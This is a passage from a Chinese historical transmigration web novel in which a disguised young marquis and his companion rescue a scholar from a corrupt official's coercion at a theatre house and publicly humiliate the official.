“当真!?与那一曲名京城的柳儿比,孰美?”
…
洛千俞脚步一顿。
话音堪落,随即便听到另一人调笑,声音刺耳粗粝。
“秀色佳人,繁若天星。”那人指了指天空,不怀好意地笑起来:“可才兼文武、宁折不弯的美人状元郎,世间唯此一人尔。”
同行几人纷纷点头,颇感赞同:“昔日听闻状元郎乃绝色之盛,如今亲眼见到更是不凡,不愧为名动京城的相貌。”
“可是这样的美人,怎会甘心俯首?”
“他敢不屈服?”为首的男人冷哼一声,讽刺道:“此番他回京为母求医,全大人把那救命的老郎中扣在这摘仙楼,拖着不放人,他再有骨气,看他会不会为了病重的老母亲委屈求全!”
“哎,全大人之前便弄出过人命,还是个平民女子,后家中伸冤无果……看来那状元郎要吃尽苦头了。”
“可今日若是闹大了,于你于我都没好处……”
“怕什么?天塌了有咱们全大人帮顶着,别说是个黜落状元,就算是当朝新晋的头名,只要进了全大人的雅间,哪怕是只飞过的麻雀,都休想吐露半点风声!”
…
洛千俞彻底停住脚步。
他僵硬转过头,望向那几人愈行愈远的背影,听见自己鼓动如雷的心跳。
状元郎?
为母求医?
洛千俞捏紧了拳头。
……
妈的,说的不是闻钰还是谁!?
尽管已经预料到摘仙楼内或许会有剧情发生,但身临其境,亲耳听闻
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又是另一回事。
这群手里握着点权力的达官贵人,仗着普通人申诉无门,上司睁一只眼闭一只眼,便无恶不作,企图只手遮天。
天子脚下,皇城威严,这群炮灰竟能猖狂至此,还把主意打到了主角受身上。
尽管不想与闻钰碰面,小侯爷出场前的任何剧情也都与他无关,但不代表自己能对这场离谱闹剧冷眼旁观,漠然以盼。
洛千俞停下脚步。
眼看着小二引领那几人走进了三楼的一处包厢,往上看去,好巧不巧,正对着他包间的小阁楼之下。
他快步走向前台站岗的小二,“于老板呢?”
小二一惊,没想到方才那位一直没注意到自己的贵客竟亲自下楼找他,忙迎了过来:“哎呦小爷,您怎么亲自下来了!您在楼上叫小二传个话,掌柜的自然会去找您……您先在这儿喝口茶,小的这就去找老板。”
“来不及了。”洛千俞眼看着三楼那包间关了门,拽住小二衣袖,“我和你一起去。”
小二心下惊讶,隐约感觉是出事了,便片刻不敢耽误,径直绕到了后台入口,恰好与那于老板撞了个满怀。
“你这蠢才!毛毛躁躁的,如此慌乱做甚!”
小二连忙指指身后的人,“小爷他……”
于老板看到小侯爷,立马换了脸色,没等搓手说上几句好话,却被对方一把拉过去,“我那间阁楼下方的包厢叫什么?”
于老板被问懵了:“是、是雕花阁。”
“雕花阁有人要谋色害命。”小侯爷快速道:“你带几个人,将里头一个郎中,还有那个最好看的男人带出来,事后有重赏。”
“什,什么?”于老板彻底傻了眼,这是什么塌天大任务,忙哭丧着脸,“这、这可使不得,那雕花阁里坐着的可是全大人……!”
“此番事关前朝,其中一人乃是先帝钦点的京科状元!”事态愈紧急时,洛千俞反而冷静下来,沉声道:“于老板,这是你的戏楼,倘若真出了什么事,闹到官府去,闹事者能全身而退,而你呢?这座戏院如何开的下去,作为掌柜的你又如何全身而退?”
于老板倒吸了口冷气。
仅是片刻,额头皆是冷汗,于老板抖着手作了个揖:“谢小侯爷指点。”
接着他叫上两个小厮,立直身板,匆匆忙忙朝那三楼雕花阁跑去。
如此这般,即使他还未出场,即使他不在闻钰前露面,好歹也让主角少受些那群混账的羞辱。
可不知为何,心中那股浊气始终无从消散。
洛千俞走到方才小二引他喝茶的地方,缓缓坐下,茶已凉透,一楼正对着戏台,柳儿换了一身戏服和头冠,伴随着台下一片叫好,第二曲竟开始了。
今夜唱的这第二出戏,便是前朝太子勇敢抵御叛贼、守护皇城而死的故事。
洛千俞听到一半,才发觉自己不知何时攥紧了拳头,缝隙之间,几乎要渗出血来。
刚松开拳头,一抬眼,发现方才上去的那三人回来了。
洛千俞下意识往他们身后看,发现空无一人,不仅没人,三人脸上皆挂了彩,那凄惨程度看得他都轻吸了口气。
“发生了什么?”
为首的于老板鼻子流着血,张了张嘴,喊了声小侯爷,却再没说出话来。
反而是身旁那位最初为他斟酒和引路的小二,嗫嚅着嘴唇,艰难开口:“小爷,我们进了屋,那全大人听说了我们的来意,哈哈大笑。”
“和那群手下一起,笑得厉害,几乎笑出眼泪。”新来的那小二脸上除了触目惊心的血痕,还爬满了眼泪,咽着哭腔说:“接着叫那几个身强力壮的大人摁住我们,一人扇了二十个巴掌。”
……
洛千俞心里冒了火。
于老板搓了搓手,刚想缓解尴尬说点什么,却见那小爷站起了身。
“劳烦了。”小公子声音听不出情绪,“今日几位受的委屈,皆算到我小侯爷头上。”
于老板转头看去,见小爷上了楼,看那方向,竟像是直奔着雕花阁去了!
“等等,不对劲。”
“大、大事不好了。”于老板瞳孔一缩,忙招呼身边小二,抖着声音道:“楼公子呢?快去找楼公子!!!”
“雕花阁要出大事!!”
4. 第 4 章
上楼时,洛千俞大脑飞速运转,细细回忆着书中剧情。
原书这段戏楼剧情,似乎有一位“神秘客”出现了。
──不知那人相貌,不知对方名字,出手相助,将闻钰带离那片不见天日的昏暗。
这人到下文也没再提。却足够引发无限遐想,贴吧上讨论的热火朝天,这位神秘客可以是每个CP粉自家的攻,也可以是任何人。
也就是说,即使他不出手,最后也自会有大佬现身,出手救下闻钰?
而且,这人看起来颇有能耐,身手了得,若是放在书中排序,大概率也是个大佬级别。
只是,这传说中的神秘客何时出现?
已经到了这一步,这厮还想拖到什么时候?若是再不来救你家美人,恐怕黄花菜都凉了!
-
雕花阁内。
虽是个雅间,屋内却烟雾缭绕,一个没来得及卸妆的角儿被人抱在腿上,身旁酒气弥漫,邪笑声不断。
即便这戏楼乃雅丽之地,禁带烟斗,更不可欺辱戏子,可全大人坐场,那掌柜是屁都不敢放一个,这不成文的规矩自然也就失了效。
可雅间内的焦点,却皆不约而同的,会聚在了一人身上。
那人一身素色,立于檀木桌前,清冷绝俗,宛如寒潭之水不染尘埃,在这乌烟瘴气的雕花阁内显得格格不入。
他腰间配着剑,剑柄滑出了大半,堪堪出鞘,泛出凌光。
闻钰声音冰冷,寂戾骇人,“把人放了。”
“哦?放?…这是何意?”
坐于雕花阁中央主座、慢悠悠吸着烟斗的,便是那人人忌惮的全大人,都尉全松乘。而紧挨着主座旁的,则是如坐针毡的老郎中。
“本大人最近受了风寒,身子难受的紧,恰好路上遇见了与你同行的郎中,一心求医,才把先生请回了摘仙楼。”全松乘缓缓吐了口烟,上下打量着对面的人,笑眯眯道:“反而是状元郎你,纠缠不休,擅自闯入我的雕花阁,一言不合就要明晃晃地抢人,这又是什么道理?”
“难不成这世上,只有我这家郎中能医治你娘的病?你既然这么着急,何不换一位去看?”
……
闻钰慢慢握紧了拳,却没说话。
屋内几人纷纷表情戏谑,相互对视一笑。
在场皆知,闻母的病症属实罕见,在此之前为了求医早已寻遍大江南北,皆是摇头。而闻钰此番带着母亲偷偷回京,便是为了求诊这位医术闻名的张郎中。也只有张郎中有法子对症医治,最近病情好不容易见了起色。
全松乘是知道的,也是故意的。
京城名医张郎中环顾四周,不敢动弹。自进屋开始,他被全松乘的手下一把圆月弯刀架在脖子上,惊得大汗淋漓,这个时候只得咽动口水,大着胆子低声哀求:“大人,求您高抬贵手,放过这可怜孩子吧。”
“闻生母亲本就病重,今日又旧疾发作,高热不退,若是不及时医治,就是一条活生生的性命啊!”老郎中抱拳作揖,嘴唇苍白,声音颤抖,“全大人,您就当是积善修德,救人一命,放我们先行离开吧!”
“闭嘴,你这氓隶老庸医!”全大人握着刀的手下直接给了郎中一嘴巴,打得人唇角裂开,脑袋嗡嗡作响:“没看见大人同状元郎说话呢?岂有你这老腊皮插嘴的份儿!”
全松乘抬了抬手,止住手下的动作。他将目光移到郎中身上,又看看闻钰,脸上露出恻隐之色,“原来如此,事态竟然这般紧急?”
“我也并非无情之人,你们快回去吧。”
见张郎中脸上流露出喜色,而闻钰表情未变,依旧冷着神色看着他,全松乘苦恼道:“只是天下病者,其患一也,张郎中走了,我的病怎么办?要不状元郎帮着治治我的病吧。”
“我生平最爱美人,一看到就涨。”
“让我放了这郎中,去救你那病重的老母亲也行。”全松乘吐了口烟圈,目光在状元郎脸上流连,缓缓开了口:“你就在这儿,戴上头冠,换上那柳儿的戏服,去台上表演一曲。”
“一曲唱毕,我便放了这郎中自由。”
…
…
听到这儿,洛千俞已气得屏息。
恰在此时,楼衔身边的小厮守在雅间半晌,见小侯爷解手这么久都没回阁楼,心中担心,便下楼来寻。
没想到从厅堂到茅厕,从一楼到二楼,绕了一大圈,不经意向上一瞥,竟看到三楼廊台边上停住的少年,差点吓得魂飞魄散。
小侯爷何时竟出现在了雕花阁门前!?
那雕花阁里头的人物可不是什么善茬,言语粗粝,行事作呕,再扰了小爷看戏的心情。
小厮连忙上楼,马不停蹄跑到洛千俞身前,喘着气,“公子,您怎在这里?”
没想到小爷未回答,只是拳头都攥紧了。
小厮不明所以地望去,却没看到任何人,问:“公子可是冷了?阁楼里烧了炭火盆,我们先回去吧。”
洛千俞却忽然握住他的腕,道:“去帮我拿一柄折扇来。”
“折扇?”小厮愣住,好在反应迅速,“好,公子稍等!”
穿书者生存第一守则,就是记住所有一切皆是纸片人,切忌动真情实感。
可是隔着一扇门内,他的处境,他的身影,甚至是对方的声音,一切都足够鲜活。
是活生生的闻钰。
既然没到自己现身的时候,只要不打破规则,他就还是那未出场的小侯爷。
天命难抗,那他便绕开这天命,极尽试探。
于天理,他不该这个时候出现?
──那便以折扇遮面。
等到现在,神秘客都无人认领?
──好,他便成为那神秘客。
小厮飞毛腿跑的极快,很快从楼上赶回来,手里多了把折扇,递给小侯爷。
“怎么是这把?”少年微微蹙眉。
小厮暗窘:“是楼公子随身带过来的。”
洛千俞接过扇子,叹了声:“罢了。”
“去找你家公子。”洛千俞轻轻一笑,“就说小侯爷要闯祸了。”
-
-
一门之隔,全松乘话音刚落下,张郎中便白了脸色。
闻钰并未说话,眼中泛出冷意。
“怎么这副吃人的表情?”全松乘佯装道:“唱曲儿这事并非强求,别等以后出了摘仙楼,我这全大人再落下个不讲理的名声。”
接着,全松乘拍拍手,立刻有属下从次间走来,手里拎着个飞羽錾刻的银质酒壶,壶口冒着滚烫热气,“不唱也行,只要小闻大人原意一口气喝下这壶刚烧开的热酒……我全某人照样放人!”
京城入秋,霜意侵袭,一些王公贵族们和商贾们为了暖身提神,便渐渐养成了喝热酒的习俗。只是,烧开的酒一般会由小厮放在别间,待甘醇的酒香缓缓逸散到屋廊之间,温度适宜,再呈给大人品尝。
而刚烧开的酒,就等于一壶沸水,灌进去,嗓子也就废了。
手段何等卑劣!!
旁边的郎中脸色铁青,他先前收过这样的病人,大多也是被王臣贵族戏弄的可怜孩子,一整壶的开水灌进喉咙,最要命的并非烫死,而是病人伤了食道,损五谷之府,自此无法进食,最终落得个活活饿死的下场。
人基本就没救了。
这是要让闻钰从自己母亲的命与自己的命之中选一个啊!
这群武官平日行事恶劣,平民百姓早有耳闻,他们有太多作践人的法子,实乃欺人太甚!
当然,若是闻钰放下尊严,拿起那戏子的头冠,换上戏服,尽管失了风骨,起码能保住性命…
他慢慢低下了脑袋,已经不忍再看。
毕竟如此艰难抉择下,权衡利弊,保全自己,乃人之常情。
闻钰握着剑柄,目光却是扫过全松乘的喉咙。
屋内九个手下,这沸酒能浇伤近前的三人,剩下的……还是要靠腰侧的玉灵剑。
张郎中再抬起头来,看见的便是闻钰选了那壶烫酒,竟没迟疑哪怕一分一毫!
“好骨气。”全松乘并未察觉异常,只略显诧异,随即叫好,“不愧是先帝钦点的状元郎,一身铮铮傲骨……”
“不可,不可!”张郎中向前探了一步,打断了全松乘,他脖子被刀刃压出血痕,老人顾不上疼,颤着声音喊:“闻生啊,你娘还指望着你考取功名,出人头地!你怎可折在此等荒唐之地……”
“闭嘴!”
…
话音刚落,包间的门突然传来一声巨响!
窗棂微微摇晃,夹杂尘土,飞扬升天,地板都随之震动,似乎有人一脚从门外踹开了雕花阁的门!!
一众人被这动静惊吓,心神猛颤,下意识地纷纷转头望去,一抬眼,便隐约从那飘扬的尘灰里,逐渐出现一人身影。
竟是位不速之客。
到底是谁这么大胆子!?
来人看不清面容,雍容贵气,一双桃花眼明亮异常,摄人心魄。这个角度,仅勉强看清了那金色折扇上面的一行隽秀小字:「金榜题名,一举高中。」
…
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>荒唐!
这究竟他娘的怎么回事?!
变故来的猝不及防,还是为首的手下最先反应过来,皱眉问:“来者何人!”
“无名之辈。”来人握着折扇,看不全面容,倒像个神秘客,只笑了笑:“来向全大人讨壶酒喝。”
屋内几人同时泄了口气。
搞什么?
看模样就是个十六七岁的小公子,折扇上还有学子考试的吉利话,真是初出茅庐胆子大,竟敢孤身闯入雕花阁,还一脚踹开大门,身边还连个侍卫都没有?
这个时代,富商、贵族、王臣乃至平民都有着严格的界定限制。什么身份地位,上下打量一眼衣着打扮与图案配饰,便能心中有数。
仔细看去,这小公子穿着打扮甚是无奇,既没穿大红鸦青这些鲜艳颜色,看那布料也并非绢布绸纱,图案也只是花鸟……
唯有这遮面的扇子看着华贵,如此看来,方才那不知从哪生出的雍容贵气之感,大概也是错觉。若真是大门大户的孩子,来个戏楼何必如此低调?定是某富商公子。
哪来的小泼皮狂徒?
全松乘却没说话,沉默地盯着那名不速之客的眼睛,又慢慢滑到了那人握着金色折扇的手。
“让这位公子进来。”他示意停下,又道:“关门。”
“……”
手下皆是一愣,彼此交换了眼神,都明白了全大人的意思,露出了不怀好意的笑来。
这种孤傲贵气,懵懂无畏又意气风发的小公子,就像羔羊误闯进了狼窝,大人还没尝过呢。
待那神秘客进了门,最靠近门边的手下刚要关门,却忽然有人握住了门栏,力道死紧。
于老板顶着红肿的面庞探出头来,把那人吓了一跳,惊叫了一声。又怕扰了全大人兴致,遂探出身抵住门,把掌柜拦在了门外,低骂道:“老于头?你他娘的还敢来这儿,还没被我们打够?”
于老板被扇肿了脸,此时口唇发木,急得话都说的含糊:“大人,刚才进去的那位公子呢?快放他出来。”
“你听不懂人话是吧?”那手下骂道:“滚远点,别逼我再掌你的嘴。”
“不可!!”于老板急道:“那可是你们万万碰不得的人!”
“有谁是我们碰不得的?”那人冷笑一声,道:“看他那身打扮,撑死就是个富商之子,被大人看上是他的荣幸,还……”
于老板肿得口齿不清,急道:“那是他怕他父亲发现,乔装打扮……!”
“嚷嚷什么嚷嚷什么?话都说不清,大人在里头呢,存心找不痛快是吧。”手下捏着于老板衣领,抬手就要打:“老于头,我看你这戏楼是不想要了!”
-
“不是要借酒吗?”
“本大人这里有的是。”全松乘低笑起来,声音沙哑:“你想怎么喝都行。”
雕花阁细碎的烛火映亮神秘客的身侧,明暗交替:“好。”
……
闻钰微微蹙眉。
这场荒唐闹剧仍在继续。
闻钰自知这趟回京之路会异常艰难。父亲被杀,全家流放,他带着病重的母亲,跨过千里的山,走过万里的路,返回噩梦般的京城,只为保住他仅剩唯一亲人的命。
他想,纵有凌云志,既陷入了这泥潭,便不可能全身而退。即使杀了这一屋子的武官,豁出性命,也要将郎中平安带回母亲身旁。
热酒的雾气模糊了视线,仿若再无清明。
忽然,视线之内。
一只漂亮的手,滑过他的腕部,白玉般骨节分明的指尖碰到掌心,拿过了他手中烧沸的酒壶。
那人拿过那壶热酒,径直朝那全大人走去。
下一秒,哗啦一声。
那壶滚烫的、犹如沸水般的热酒,皆数倒在了全松乘的裤-裆上。
主座之上,白汽四散,雾气腾腾,甚至能听到衣服面料遇热骤缩时的倒牙声响。
阁外,于老板心急如焚,不肯松手,苦苦哀求:“大人,听我老头一句劝,那是你们万万不能招惹的人!那可是洛府家的小侯……!”
话没说完,雕花阁内忽然传来一声哀嚎惨叫。
那惨叫声震耳欲聋,凄烈无比,由于过于惊骇,甚至就连楼下唱戏的角儿也停了声。
宾客们也安静下来。
摘仙楼内,
噤声一片。
……
“状元郎治不了你的病,洛郎中有一偏方。”
折扇下的小侯爷垂下眼帘,像是愠的冒火,咬牙冷笑:“现在还涨不涨了?”
5. 第 5 章
摘仙楼内,宾客们一片寂然。
他们探出头,瞧向三楼半敞着门的雕花阁。
琢磨不出个大概,便窃窃低语,倘若那雅间出了事,莫非是……全大人的声音?
这个猜想,足以让所有在场的暗暗心惊。
“啊啊——!!!!”那哀嚎声持续十余秒,全松乘捂着胯-下疼得打滚,翻到桌子底下,满脸煞白,嘴唇紧抿,尽是无法言说之痛,毫无缓解之法,他崩溃痛骂道:“该死的混账畜牲,从哪儿冒出来的疯子!!快,抓住他,我要带回去,亲自审问!!”
全松乘的手下倒吸冷气,仅是一瞬,便齐齐拔了剑。
只是,还有一道拔剑声音,竟来自洛千俞身后。
洛千俞折扇遮着面,没等撤出身,忽然被握住了手腕。
那力道不重不轻,却刚刚好,把自己带到了对方怀中。
淡淡的香气压进鼻息,他听到闻钰的声音,离他耳侧有些近,莫名冷冽:“到我身后去。”
洛千俞睫羽微动,这个角度,却是看到了对方眉心的凤纹,烈如红焰。
心里叹了口气,若是再晚来一步,这直心眼儿的孩子说不定真就喝了那要命的沸酒。
洛千俞压低的声音轻不可闻: “别担心。”
闻钰微怔。
洛千俞拂开袍坠,大刀阔斧,径直坐到一旁的腾云驾雾龙雕椅上,闲出的那只手轻敲着椅沿。他睨向阁内的人,一字一句、掷地有声:“我看谁敢?”
“你们的酒都是我请的。”
“是灌进嘴里,还是浇在裤-裆上……”洛千俞双腿交叠,靴尖微翘,金色折扇衬得那双眼睛熠熠生辉。
“这酒怎么用,随爷高兴。”
……
话音一落,都尉手下们纷纷对视,脸上浮了惊异。
这人说什么?
说这酒…是他请的??
听于老板的意思,全松乘虽是贵客,但人外有人天外有天,除了全大人,这摘仙楼中要属最贵气的……便是那位经常包场的款儿爷。
人家神秘着呢,虽大方请客,却从不露面。
即便不知身份,但于掌柜从不准任何人前去阁楼打扰,宁可得罪他们,也唯恐怠慢了那位爷……可见那包场的贵人,身份了得。
怕不是哪位王公重臣!
眼前的这个少年,竟说他就是那包场的贵人?
怎么会?
如何可能?!!
只是……哪怕有万分之一的可能性,这少年所说为真,若动了手伤到贵人,何止是掉脑袋的罪过?
手下端着剑,面面相觑。一时之间,竟无一人敢上前。
全松乘等了半天,光听见拔剑声,却不见剑落下,他一抬头,被这僵持一幕气得七窍生烟,痛骂道:“一群饭桶!如此胆小怕事,这下作东西说什么你们信什么?我养着你们吃白饭的?废物,一群废物!!”
骂归骂,这群手下身子向前抖了一抖,犹豫着,你看看我我看看你,谁都没率先冲出去。
全松乘撑着桌子起身,恨的咬牙切齿,身子踉踉跄跄,朝那个浇了他命根子的登徒子冲了过去。
-
楼衔出了摘仙楼,循着小厮引路,一路行至长街尽头,进了处拐角,才堪堪停住。
心中焦急,那心思早飞到摘仙楼的小阁楼上了。一见到番人,便催促:“鹰呢?本公子赶时间。”
商贩点头,从笼子中捏着后颈,抓出了那头雄鹰。一出笼子,那鹰便不断扇动翅膀,发出阵阵嘶鸣,震得空气嗡嗡作响。
……是个好货色。
小侯爷平日就喜欢这种野气的小宠,越是反抗,越能激起征服欲。禽畜如此,人亦是如此。
偏偏就在交银两时,那鹰眼看楼衔伸了手,猛然间张开双翅,顺势低了头,狠狠啄了楼衔手指一口。
“嘶!”楼衔吃痛之下,银子也掉了,番人见状赶忙后撤,那鹰趁机回头又给了贩子一口,挣脱束缚,朝空飞去。
楼衔顾不上手疼,到手的鹰跑了,他急得冒火,用番语骂那番人:“你这蠢货!一头鹰都拿不住,怎么干事儿的!怎能让它跑了?”
商贩眼看着惹了祸,赶忙跪下,“贵人息怒!小的还有一宝,也是个新鲜玩意儿!”
楼衔皱眉:“什么?”
说罢,番商指了指自己肩膀上的一只小肥啾。
先前并未注意还有这么一个小家伙,现在看去,那鸟身体圆滚,白白的一坨。
体型虽小,却灵动可爱,红色尾翼尤其引人注目。
“这鸟不关笼子也不飞走,是被你养熟了?”楼衔更觉恼火,“我买走有何用?只与你亲近的胖鸟,这就是你所谓的稀罕玩意?”
“并非只与小的亲近!”番人连忙解释:“此鸟嗜香,只要将我这瓶中香料涂抹在任意地方,无论何人,这鸟便会跟着他,不关笼子也不会飞走。”
楼衔这下有些新奇:“什么香料都可?”
番商说:“不,香味必须浑然天成,寻来不易,珍贵的很。”
“倒是有趣。”就是不知小侯爷中不中意,毕竟与雄鹰一比,这落差未免太大了些。
就在此时,他留在摘仙楼身边的那名小厮,自北面匆匆跑来,语气惊惶:“公子,不好了!”
“何事?值得你慌慌张张。”
小厮急道:“小侯爷特让小的来报信儿!”
楼衔一怔,“
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什么?”
“小侯爷说他…说他要闯祸了。”小厮脸色苍白,喘着气道:“小的不知何意,不敢怠慢,特地来报信儿,公子赶紧回摘仙楼看看吧!”
楼衔心头一沉。
什么鹰啊鸟啊再也不顾上了,把那鸟随手一扔,朝戏楼跑去。
小肥啾扑扇着翅膀,咻咻跟了过去。
回到摘仙楼时,楼衔只觉较他离开时相比,安静的可怕。
台上的名旦拽着袖角,惊得堵上唇,只听宾客们低声议论,纷纷仰起脖子朝楼上望。
楼衔心头涌上极不好的预感,脚步更快了些,直奔楼上赶去。
只是,行至三楼,却发现不远处的雕花阁半敞着门,门口是鼻青脸肿的于老板,还有个人高马大、提着老头脖领子的杂厮武官。
那股不好的预感愈发升腾,楼衔心想,小侯爷不会就在这间雕花阁内?
就在此时,堪堪追上来的小肥啾叫了两声。
像是嗅到了什么,直溜溜朝着雕花阁飞去!
接着,它吃力地扇动翅膀,飞进雕花阁,缓缓落在了闻钰肩头。
楼衔一怔,循着那小肥啾的方向走去,身形有些僵硬,不自觉攥紧了拳头。
“楼公子?!”
堪堪停在雕花阁门前,不顾掌柜和小厮惊诧的目光,他握住门扉,强硬地大敞开来,首先映入眼帘的便是这一幕——
那京城出了名好男色的全松乘,正俯下身,手抵在小侯爷颈侧,两眼血红。
视线下意识朝下看去,他看到——隐隐鼓起的轮廓,以及外袍……还湿了一片。
楼衔只觉头皮处炸开来。
来人敛了谑意,几乎是瞬间拔了剑。
“……狗奴才。”
楼衔声音冰冷到了极点: “你把手往谁身上放呢。”
若是没那把折扇挡着,小侯爷恐怕早就被摁在椅子上肆意冒犯了!
楼衔衣饰向来奢贵,一打眼就不是寻常公子,有眼尖的小厮,一下便认出来:“那是……楼公子?”
剑一亮,氛围顿时变了味道。
几人冒了冷汗,楼衔怎会来这儿?大名鼎鼎镇国将军楼靖河之子,风花雪月场的常客,这可是他们惹不起的爷!
全松乘怔愣之际,没等发难,却忽然被拽住袍领。那力道像是铸成的铁,手背绷起青筋,霎时就被甩出一丈之外!
“你可知他是谁?!你也敢动歪心思!”
紧接着,那罗刹朝他走来,全松乘堪堪躲开了擦过耳边闪着寒光的剑尖,只是,避不开的拳头却直朝面门砸过来,仿佛生了风。
全松乘:“????”
被揍得太狠,命根子都没那么疼了。
6. 第 6 章
围观之人从一片噤声的傻眼,到暗暗心惊,最后还是那呆坐一旁的老郎中颤颤巍巍地伸了手,斟酌道:“这位公子,您手劲儿大,这么打下去怕是要出事……先歇一歇罢。”
楼衔眉梢拧起,脸上尽是不悦之色,烦闷得紧。
心头怒火未全得消解,他提溜起全松乘的袍领,扔到那群呆若木鸡的手下堆儿里头,只觉晦气。
那几人慌慌张张将佥事大人扶住,小心搀扶到板凳上,弱弱唤了声:“大人……”
全松乘鼻青脸肿,甩开他们的手,哪哪儿都疼,如今话也说不利索,饶是气得翻了个天大的白眼旁人也无从察觉。
洛千俞琢磨着,事情既到了尾声,是该事了拂衣去的时候。
如今楼衔现了身,雕花阁里头的人常年混迹风月场,等琢磨过味来,多少都能打听出楼衔是小侯爷的狗腿小跟班,往他的身份上猜。
况且……不知是不是错觉,那状元郎的视线似乎落在了他身上。亏着雕花阁靠烛火油灯,光线偏暗,没现代那么光亮,否则这区区折扇可遮挡不了真容。
恰在此时张郎中起身,朝他们作揖,言辞恳切:“感谢两位公子此番出手相助,大德不酬,在下铭感五内,只是,那厢闻生母亲还病着……救人要紧,老夫先行告辞了。”
“大夫请便。”
老郎中行了礼,背起药箱行囊,穿过几人,刚欲悄悄拉着闻钰一起离开,却听身后传来一道声音。
“本大人让你们走了吗?闻钰,你不肯喝酒,还没上台唱戏呢!”
全松乘两眼一睁,瞪的血红,又抖着手指向郎中,喉头囫囵地咆哮:“我也病着呢!!老庸医,没有我的准许,今日你胆敢踏出一步试试!我要了你一家老小的命!”
张郎中背影一颤,如中惊雷。
闻钰侧过了身,眼中泛出冷意,只低声道:“先生先走,晚生随后便到。”
张郎中心中焦急,迟疑着点了点头:“好,多加小心。”
“你还病着?”楼衔气得冒火,真是揍轻了,竟还有力气威胁上人了,他褰裳骂道:“我看你的确病得不轻!今日小爷就来好好治治你的病……”
“只治其标,未治其本。”
那神秘客抬了眼,目光却瞥向那远处寂静一片的戏台,淡淡道,“听闻全佥事喜看美人唱戏?从前不知大人对戏曲之艺竟有如此雅好,今日晚辈做东,正好圆了大人的心愿。”
“您何不亲自登台,唱上一曲,让大家也开开眼界?”
此话一落,全松乘气血一瞬凝固。
他怀疑自己听错了:“你,你说什么?”
全大人身旁一众手下脸色可谓是精彩纷呈。青的青紫的紫,甚至还有发绿的,活像打翻的染缸。
“放肆!”全松乘这下也顾不上疼了,直接破防,踉跄着起身,指着那神秘客破口大骂:“你这下作竖子,真当本官是街边猢狲任你耍弄?我身为神策卫指挥佥事,掌管一方军务,威名赫赫,怎可能在这摘仙楼与优伶为伍,唱那低俗之曲!?……做你的春秋大梦去吧!”
“废什么话?”
“他说你想唱,你便是想唱。”楼衔站于一旁,身板挺立,喝道:“来人,帮佥事大人更衣,上妆!”
全松乘:“???”
没多会儿,小厮进了屋,手里捧着一套崭新戏服、头冠,一人备了胭脂花钿,全松乘被摁着换了戏服,戴上花冠,还随手涂了个妆。接着,便稀里糊涂被楼衔架着脖子离开雕花阁,直往楼下走。
全松乘眼看着那些宾客投来目光,意识到要玩真的,这下彻底慌了阵脚:“岂有此理,岂有此理!本大人岂能容汝等小儿羞辱!”
“我奉劝大人一句,乖乖唱完这一曲,出了这个戏楼,你还可以安安稳稳当你的佥事。”那少年拎着他,沉下的声音就在耳后,“胆敢多说一个字,在下不敢保证,大人哪日一睁眼……发现丢了官,没了命,倒成了个真正的阉人。”
“怎、怎会有这等荒唐事……”全松乘脸色发白,嗫嚅道:“你以为你爹是镇国将军,就能容你如此罔顾礼法,胡作非为么?!”
“有何不敢?”楼衔冷笑一声,“反正楼大将军早就瞧不上我这不成器的儿子,出了事儿也必定不会保全,我到底是不是个能豁出命的……全佥事大可一赌。”
全松乘铁青着脸被推上戏台。
这会儿,台下噤若寒蝉。
方才那些低声议论都霎时止息,人们脸上尽是诧异。
只见戏台中央那人,头戴珠翠头冠,凤尾翎子歪斜着耷拉在额前,脸上涂着厚厚的脂粉,却遮不住青肿印记,眉间还点了一颗朱砂痣。他一身桃红戏服裹着臃肿身躯,腰间玉带勒得肥肉层层鼓起,突兀的要命。
这、这不是雕花阁的那位……全大人!?
全松乘怎么会换上戏子的服装,此番上台……是要唱曲!??
全松乘站在台上,眼中羞愤与怒火并盛,他抖着手,那胭脂抹得左深右浅,唇上一点朱砂更是画龙点睛,活像颗浓重樱桃。
戏班琴师咽了咽口水,虽然身经百战,他还是头一次遇到这般场景,战战兢兢起了调,是一曲最好入手,人人都会的曲子。
全松乘脸色铁青,拳头紧握,指甲几乎嵌入掌心。想起楼衔的那番话,只觉脖颈打起冷战,他两眼一瞪,麻痹似的地开了口,只是那声音却沙哑难听,完全不在调上。
紧接着,脚下还踩到了拖地的水袖,一个踉跄险些栽倒。
“噗……”
不知谁先漏了半声笑,立刻用袖子掩住嘴。
那一曲仍在继续。
一开始还相安无恙。不一会儿,台下咳嗽声四起,宾客们皱紧眉头,低头佯装饮茶,扇骨却抖如蝶翼。
角落有书生掐着大腿,小声含混着念了句“乌纱换作翠花钿,虎威败给水袖绵——”,他身旁的人听了,肩膀忍不住耸动,憋的给了他一拳。
“咿——呀——”
一曲过半,全松乘硬着头皮吊了句荒腔走板的词儿,尾音劈岔,发出了一声鸭叫。
不知是哪个贵公子没掩住笑,噗嗤一声,溢出口的笑声成了串。
这时,台下终于炸开一片呛咳,是如何再也憋不住了。
摘仙楼内笑声哗然,几乎掀翻屋顶!
有人笑得茶水泼湿前襟,有人帕子落地,更有甚者扶着案,翡翠扳指都掉进了酒碗。
手下们看到这里,默默从楼上缩回了脖子,纷纷跟着红了脸。
这也…太丢人了。
以后都不想再跟全大人手下当差了。
全松乘傻了眼,声音跟着止住,他望着台下这一片震耳欲聋的爆笑声,气得浑身发抖,脸面都臊成了熟透的红茄。
终究是再也绷不住,他扔了花冠,嗙啷一声,“我全松乘,这辈子何时受过这等屈辱!!”
乐曲也在这时停了演奏,回归寂静。
“我可是蔺大人手下做事的,和他已故的发妻沾着亲呢!你这不识好歹的疯子…今日如此羞辱与我,丞相大人定不会放过你!”
……
这明显是朝着端坐在雕花阁的那位神秘客说的。
不多时,雕花阁里传来少年淡淡含笑的声响:“晚生这便等着丞相大人前来算账。”
人们再看那戏台上的全大人,竟是直接气昏了过去。
-
楼衔得了空闲,望着那群白痴手下抬走了自家大人,这才有空留意到自己带回来的那只小肥啾。
一眼没看住,没想到那鸟竟落在了那个名叫闻钰的人肩头上,而且自从降落,就仿佛再没了挪位的打算,还怡然自得地啄弄起自己洁白羽毛来。
心里纳闷,这红尾啾不是嗜香吗?怎么没有香料还往别人身上飞?
这该死的番商,定是骗了他!
鹰没留住,鸟又跑了!
楼衔大刀阔斧地坐下,偷偷在手上倒了些香料碎末,另一只手还向外扇了扇,静候半晌,偷瞥过去,也不见那死鸟有丝毫反应。
就在此时,闻钰侧过了身,状似要离开雕花阁。
楼衔没憋住,腾得站起身,喊出了声:“…鸟!”
洛千俞:“?”
洛千俞看向他:“怎么了?”
该死,他总不能在这个时候说,这已经跟别人跑了的胖鸟是他送给小侯爷的礼物吧?
“……没什么。”楼衔又坐下了。
